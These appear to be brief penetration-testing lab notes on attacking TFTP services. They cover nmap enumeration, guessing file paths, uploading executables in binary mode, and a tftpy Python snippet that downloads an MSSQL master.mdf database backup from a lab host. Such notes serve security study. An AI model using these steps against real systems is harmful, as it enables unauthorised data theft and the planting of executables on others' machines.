- To enumerate:
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP> - Cannot list folder, so need to use things like
get windows\system32\license.rtf(or similar) - If want to upload, use
binary, thenput xx.exe - If transferring text file can use the default mode. If not need to use
mode binaryto download exe files. (default ismode ascii)
TFTPY
The actual TFTP sucks.. Use this better..
- (DONE) In case not installed, go python2 folder,
pipenv shell, thenpython -m pip install tftpy. - Go python2 script folder,
pipenv shell. Then executepython. - Next (change IP, path, port accordingly):
import tftpy
client = tftpy.TftpClient('10.11.1.111', 69)
client.download('\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS\MSSQL\Backup\master.mdf', 'master.mdf') - Can upload as well in a similar manner:
client.upload(input=srcfilepath, filename=destfilepath)